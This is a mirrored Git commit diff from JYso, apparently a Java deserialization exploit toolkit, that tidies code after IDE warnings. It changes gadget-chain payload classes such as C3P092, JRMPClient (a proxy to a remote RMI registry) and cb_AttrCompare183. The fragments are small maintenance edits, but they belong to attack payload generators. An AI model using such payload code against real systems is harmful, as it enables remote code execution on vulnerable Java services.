mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
fix:修复大量IDEA给出的告警,提高代码健壮性
This commit is contained in:
@@ -44,7 +44,9 @@ public class C3P092 implements ObjectPayload<Object> {
|
||||
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
||||
|
||||
// mock method name until armed
|
||||
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
|
||||
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
);
|
||||
|
||||
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
||||
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
|
||||
@@ -59,7 +59,7 @@ public class JRMPClient implements ObjectPayload<Object> {
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
return (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
|
||||
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
|
||||
Registry.class
|
||||
}, obj);
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ import java.util.List;
|
||||
|
||||
/**
|
||||
* A blog post with more details about this gadget chain is at the url below:
|
||||
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
|
||||
* <a href="https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/">...</a>
|
||||
* <p>
|
||||
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
|
||||
* posting describing how he modified the Java Commons Collections gadget
|
||||
|
||||
@@ -43,7 +43,9 @@ public class cb_AttrCompare183 implements ObjectPayload<Object> {
|
||||
} catch (NotFoundException ignored) {
|
||||
}
|
||||
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
).newInstance();
|
||||
ctBeanComparator.defrost();
|
||||
return beanComparator;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user